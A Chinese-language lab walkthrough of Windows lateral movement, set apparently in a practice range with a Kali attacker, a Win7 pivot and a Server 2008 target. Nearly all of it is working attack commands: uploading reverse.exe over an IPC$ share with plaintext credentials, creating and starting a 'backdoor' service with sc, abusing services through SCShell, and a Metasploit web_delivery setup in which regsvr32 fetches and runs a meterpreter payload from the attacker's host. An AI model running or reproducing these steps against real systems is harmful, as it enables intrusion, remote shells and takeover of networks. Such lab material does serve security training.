网络拓扑:
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138
一、创建远程服务
这里主要是通过跳板机给靶机创建远程服务,并且在跳板机上用nc
进行端口监听。
1、利用已建立的共享连接向靶机(192.168.52.138)上传攻击载荷;
net use \\192.168.52.138\ipc$ hongrisec@2024. /user:god\liukaifeng01
copy reverse.exe \\192.168.52.138\c$
2、利用已建立的IPC连接在靶机上创建系统服务。
sc \\192.168.52.138 create backdoor binpath= "cmd.exe /k c:\reverse.exe"
# binpath,指定服务启动时允许的二进制文件,注意"="后面有一个空格
sc \\192.168.52.138 qc backdoor # 查询是否存在backdoor服务
3、立即启动靶机上创建的backdoor服务:
sc \\192.168.52.138 start backdoor
4、删除创建的服务
sc \\192.168.52.138 delete backdoor
二、SCShell
SCShell
是一款利用系统服务的无文件横向移动工具。与传统的创建远程服务的方法不同,SCShell利用提供的用户凭证,通过ChangeServiceConfigAPI
修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制路径将修改为原始路径。
SCShell需要提供远程主机的管理员权限用户的凭证,并且需要已知远程主机的系统服务名称。
SCShell命令如下:
SCShell.exe 192.168.111.128 XblAuthManager "c:\windows\system32\cmd.exe /c calc" god.com administrator hongrisec@2024.
# SCShell.exe <target> <service> <payload> <domain> <username> <password>
# target可以是本机
XblAuthManager
不可以用,就用defragsvc
服务。
下面通过Regsvr32
执行外部SCT文件的方式上线远程主机。实验在kali和win7上做。
命令行程序Regsvr32.exe用于在Windows系统上注册和注销对象链接及嵌入控件,包括动态链接库(DLL)。Regsvr32.exe可用于执行任意二进制文件。
1、在MSF中启动一个Web Delivery
,并生成用于Regsvr32
的payload。
Web Delivery
的作用:此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行。
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set target Regsvr32
set lhost 192.168.111.0 # 设置为kali ip
run
2、通过SCShell执行payload。
SCShell.exe 192.168.111.128 defragsvc "c:\windows\system32\cmd.exe /c c:\windows\system32\regsvr32.exe /s /n /u /i:http://192.168.111.0:8080/UEGiXpn.sct scrobj.dll" god.com administrator hongrisec@2024.
sessions # 查看会话
sessions 1 # 进入会话1
bg # 退出当前会话
3、与SCShell思路相似的,还有SharpNoPSExec
。